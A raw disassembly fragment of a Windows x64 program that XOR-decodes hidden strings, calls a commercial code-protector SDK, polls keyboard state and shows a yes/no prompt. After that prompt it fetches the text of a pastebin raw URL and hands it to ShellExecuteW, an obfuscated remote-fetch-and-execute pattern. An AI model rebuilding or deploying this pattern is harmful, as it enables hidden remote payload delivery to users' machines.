mov qword [rsp + 0x50], rax
mov qword [rbp - 0x60], rax
mov qword [rsp + 0x58], r13
mov qword [rbp - 0x58], r13
movabs rax, 0xafcf3bd18ce3d3fb
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x50], rax
mov qword [rsp + 0x68], r15
mov qword [rbp - 0x48], r15
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x80]
call fcn.14004d390
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x10], r14
mov qword [rbp - 0x50], r14
mov qword [rbp - 8], r15
mov qword [rbp - 0x48], r15
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x80]
call fcn.14004d390
movdqa xmm0, xmmword [rbp - 0x20]
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [rsp + 0x60]
xorps xmm1, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm1
lea rdx, [rbp - 0x20]
mov rcx, rbx
call fcn.140074f80
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0x10
cmovae rcx, qword [rbp + 0xd0]
mov r8, qword [rbp + 0xe0]
cmp r8, 3
jne 0x1400738dd
lea rdx, [0x140195118]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400738dd
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rdi, 0x6dc948bcd14e8a89
mov qword [rbp + 0x20], rdi
movabs rsi, 0x3e3f755eb395061e
mov qword [rbp + 0x28], rsi
movabs r14, 0xafcf3ba8ee81bc97
mov qword [rbp + 0x30], r14
movabs rax, 0xf839463498afa190
mov qword [rbp + 0x38], rax
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xa0]
call fcn.14004d390
movabs rax, 0x5f8f68cfa22bf8d9
mov qword [rsp + 0x50], rax
mov qword [rbp - 0x60], rax
mov qword [rsp + 0x58], r13
mov qword [rbp - 0x58], r13
movabs rax, 0xafcf3bd18ce3d3fb
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x50], rax
movabs r13, 0xf839463498afa190
mov qword [rsp + 0x68], r13
mov qword [rbp - 0x48], r13
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x80]
call fcn.14004d390
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x10], r14
mov qword [rbp - 0x50], r14
mov qword [rbp - 8], r13
mov qword [rbp - 0x48], r13
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x80]
call fcn.14004d390
movdqa xmm0, xmmword [rbp - 0x20]
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [rsp + 0x60]
xorps xmm1, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm1
lea rdx, [rbp - 0x20]
mov rcx, rbx
call fcn.140074f80
mov ecx, WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x1400738cd
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1400738b2
call fcn.14007cc90
call qword [sym.imp.SecureEngineSDK64.dll_Ordinal_519]
jmp 0x140073318
movabs rbx, 0x5f8f68cfa22bf8d9
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], r13
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xa0]
call fcn.14004d390
mov qword [rbp + 0x60], rbx
mov qword [rsp + 0x40], rbx
mov qword [rbp + 0x68], r13
mov qword [rsp + 0x48], r13
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.14004d390
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x48], r13
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.14004d390
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rsp + 0x30], xmm0
movabs rbx, 0x2ffa48b8c745d898
mov qword [rbp - 0x60], rbx
movabs rdi, 0x3e29740af68f0e5a
mov qword [rbp - 0x58], rdi
movabs rsi, 0xc3ad5abde582a59a
mov qword [rbp - 0x50], rsi
movabs r14, 0x9740665bdc8f80f5
mov qword [rbp - 0x48], r14
movabs r12, 0x2c464d7d5dbb9508
mov qword [rbp - 0x40], r12
movabs r13, 0xbdbebbe91033d44d
mov qword [rbp - 0x38], r13
movabs rax, 0xca2aa581b09c363e
mov qword [rbp - 0x30], rax
movabs rax, 0x10a2a7683f2a7063
mov qword [rbp - 0x28], rax
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xa0]
call fcn.14004d390
movabs rax, 0x5f8f68cfa22bf8d9
mov qword [rbp + 0x20], rax
mov qword [rsp + 0x50], rax
movabs rax, 0x1e5a1d2a93fb6f3e
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x58], rax
movabs rax, 0xafcf3bd18ce3d3fb
mov qword [rbp + 0x30], rax
mov qword [rsp + 0x60], rax
movabs rax, 0xf839463498afa190
mov qword [rbp + 0x38], rax
mov qword [rsp + 0x68], rax
movabs rax, 0x586639133cccb57d
mov qword [rbp + 0x40], rax
mov qword [rsp + 0x70], rax
movabs rax, 0xd2d2d59e7f57f422
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x78], rax
movabs rax, 0xa54485f5d9bc525f
mov qword [rbp + 0x50], rax
mov qword [rbp - 0x80], rax
movabs rax, 0x10a2a7683f2a4f14
mov qword [rbp + 0x58], rax
mov qword [rbp - 0x78], rax
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.14004d390
mov qword [rbp - 0x20], rbx
mov qword [rsp + 0x50], rbx
mov qword [rbp - 0x18], rdi
mov qword [rsp + 0x58], rdi
mov qword [rbp - 0x10], rsi
mov qword [rsp + 0x60], rsi
mov qword [rbp - 8], r14
mov qword [rsp + 0x68], r14
mov qword [rbp], r12
mov qword [rsp + 0x70], r12
mov qword [rbp + 8], r13
mov qword [rsp + 0x78], r13
movabs rax, 0xca2aa581b09c363e
mov qword [rbp + 0x10], rax
mov qword [rbp - 0x80], rax
movabs rax, 0x10a2a7683f2a7063
mov qword [rbp + 0x18], rax
mov qword [rbp - 0x78], rax
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.14004d390
movdqa xmm0, xmmword [rbp - 0x20]
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [rbp + 0x30]
xorps xmm1, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [rbp + 0x40]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
movdqa xmm1, xmmword [rbp + 0x50]
xorps xmm1, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x10], xmm1
mov r9d, 4
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ebx, eax
call qword [fcn.140094bb0]
mov rdi, rax
cmp ebx, 6
jne 0x1400740fd
test rax, rax
je 0x140073315
lea r8, str.https:__pastebin.com_raw_K9nA0YJL
mov edx, 0x2712
mov rcx, rax
call qword [str.0i_b_]
lea r8, [0x140072310]
mov edx, 0x4e2b
mov rcx, rdi
call qword [str.0i_b_]
lea r8, [rbp + 0xf0]
mov edx, 0x2711
mov rcx, rdi
call qword [str.0i_b_]
mov rcx, rdi
call qword [str._L_t_]
mov rcx, rdi
call qword [0x140195d28]
mov esi, dword [rbp + 0x100]
lea r8, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0x10
cmovae r8, qword [rbp + 0xf0]
xor r12d, r12d
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rsi + 1]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, r15
mov rcx, rax
call fcn.140153d50
mov rdi, rax
lea r8, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0x10
cmovae r8, qword [rbp + 0xf0]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 1]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, rdi
call fcn.140153cac
jmp 0x140073318
call fcn.140153cac
mov qword [rbp + 0x120], r12
mov qword [rbp + 0x128], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x110], 0
lea rcx, [rbp + 0x510]
call fcn.14004a3c0
nop
mov rdx, qword [rbp + 0x288]
cmp rdx, 0x10
jb 0x140073cdf
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073cda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073cda
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140153cac
mov qword [rbp + 0x280], r12
mov qword [rbp + 0x288], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x270], 0
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0x10
jb 0x140073d3c
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073d37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073d37
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140153cac
mov qword [rbp + 0x2a0], r12
mov qword [rbp + 0x2a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x290], 0
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0x10
jb 0x140073d99
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073d94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073d94
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140153cac
mov qword [rbp + 0x2c0], r12
mov qword [rbp + 0x2c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2b0], 0
mov rdx, qword [rbp + 0x248]
cmp rdx, 0x10
jb 0x140073df6
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073df1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073df1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140153cac
mov qword [rbp + 0x240], r12
mov qword [rbp + 0x248], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x230], 0
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x140073e53
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073e4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073e4e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140153cac
mov qword [rbp + 0x100], r12
mov qword [rbp + 0x108], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xf0], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x140073eb0
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073eab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073eab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140153cac
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xd0], 0
mov rax, qword [rbp + 0x410]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x410], rax
mov rax, qword [rbp + 0x410]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x40c], edx
lea rcx, [rbp + 0x428]
call fcn.14004cee0
lea rcx, [rbp + 0x430]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x4a8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x620]
call fcn.1400744a0
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0x10
jb 0x140073f73
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073f6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073f6e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140153cac
mov qword [rbp + 0x1a0], r12
mov qword [rbp + 0x1a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x190], 0
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x140073fd0
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073fcb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073fcb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140153cac
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x148], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x130], 0
mov rdx, qword [rbp + 0x168]
cmp rdx, 0x10
jb 0x14007402d
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140074028
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140074028
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140153cac
mov qword [rbp + 0x160], r12
mov qword [rbp + 0x168], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x150], 0
mov rdx, qword [rbp + 0x188]
cmp rdx, 0x10
jb 0x14007408a
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140074085
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140074085
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140153cac
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x188], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x170], 0
mov rdx, qword [rbp + 0x268]
cmp rdx, 0x10
jb 0x1400740e7
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400740e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400740e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140153cac
xor eax, eax
add rsp, 0xbb8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3